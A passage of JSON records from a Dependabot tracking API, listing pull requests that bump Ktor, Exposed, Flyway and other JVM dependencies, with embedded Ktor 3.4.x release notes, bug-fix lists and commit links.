plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.1\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.3.1...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-client-content-negotiation` from 3.3.1 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-client-content-negotiation's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-client-content-negotiation's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e C...\n\n_Description has been truncated_","html_url":"https://github.com/navikt/pale-2/pull/429","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/navikt%2Fpale-2/issues/429","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/429/packages"},{"uuid":"4466890978","node_id":"PR_kwDOLCLkK87ciVl0","number":87,"state":"closed","title":"Bump the minor-and-patch group across 1 directory with 31 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-22T07:03:45.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-18T06:48:30.000Z","updated_at":"2026-05-22T07:03:47.000Z","time_to_close":346515,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"minor-and-patch","update_count":31,"packages":[{"name":"io.ktor:ktor-server-core-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-metrics-micrometer","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-call-logging-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-netty-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-config-yaml","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth-jwt","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-content-negotiation","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-status-pages-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-kotlinx-json","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-logging-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-encoding","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-test-host","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-core","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-auth","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-content-negotiation","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-okhttp-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-kotlinx-json-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-mock","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"no.nav.security:token-validation-ktor-v3","old_version":"6.0.5","new_version":"6.0.7","repository_url":"https://github.com/navikt/token-support"},{"name":"io.micrometer:micrometer-registry-prometheus","old_version":"1.16.4","new_version":"1.16.5","repository_url":"https://github.com/micrometer-metrics/micrometer"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.flywaydb:flyway-core","old_version":"12.3.0","new_version":"12.6.1"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"12.3.0","new_version":"12.6.1"},{"name":"org.jetbrains.exposed:exposed-core","old_version":"1.2.0","new_version":"1.3.0","repository_url":"https://github.com/JetBrains/Exposed"},{"name":"org.jetbrains.exposed:exposed-dao","old_version":"1.2.0","new_version":"1.3.0","repository_url":"https://github.com/JetBrains/Exposed"},{"name":"org.jetbrains.exposed:exposed-jdbc","old_version":"1.2.0","new_version":"1.3.0","repository_url":"https://github.com/JetBrains/Exposed"},{"name":"org.jetbrains.exposed:exposed-kotlin-datetime","old_version":"1.2.0","new_version":"1.3.0","repository_url":"https://github.com/JetBrains/Exposed"},{"name":"org.jetbrains.kotlin:kotlin-test-junit","old_version":"2.3.20","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"no.nav.security:mock-oauth2-server","old_version":"3.0.1","new_version":"3.0.3","repository_url":"https://github.com/navikt/mock-oauth2-server"},{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.1","repository_url":"https://github.com/gradle/gradle"}],"path":null,"ecosystem":"maven"},"body":"Bumps the minor-and-patch group with 31 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [io.ktor:ktor-server-core-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-metrics-micrometer](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-call-logging-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-netty-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-config-yaml](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-auth](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-auth-jwt](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-content-negotiation](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-status-pages-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-serialization-kotlinx-json](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-logging-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-encoding](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-test-host](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-core](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-auth](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-content-negotiation](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-okhttp-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-serialization-kotlinx-json-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-mock](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [no.nav.security:token-validation-ktor-v3](https://github.com/navikt/token-support) | `6.0.5` | `6.0.7` |\n| [io.micrometer:micrometer-registry-prometheus](https://github.com/micrometer-metrics/micrometer) | `1.16.4` | `1.16.5` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| org.flywaydb:flyway-core | `12.3.0` | `12.6.1` |\n| org.flywaydb:flyway-database-postgresql | `12.3.0` | `12.6.1` |\n| [org.jetbrains.exposed:exposed-core](https://github.com/JetBrains/Exposed) | `1.2.0` | `1.3.0` |\n| [org.jetbrains.exposed:exposed-dao](https://github.com/JetBrains/Exposed) | `1.2.0` | `1.3.0` |\n| [org.jetbrains.exposed:exposed-jdbc](https://github.com/JetBrains/Exposed) | `1.2.0` | `1.3.0` |\n| [org.jetbrains.exposed:exposed-kotlin-datetime](https://github.com/JetBrains/Exposed) | `1.2.0` | `1.3.0` |\n| [org.jetbrains.kotlin:kotlin-test-junit](https://github.com/JetBrains/kotlin) | `2.3.20` | `2.3.21` |\n| [no.nav.security:mock-oauth2-server](https://github.com/navikt/mock-oauth2-server) | `3.0.1` | `3.0.3` |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.1` |\n\n\nUpdates `io.ktor:ktor-server-core-jvm` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease 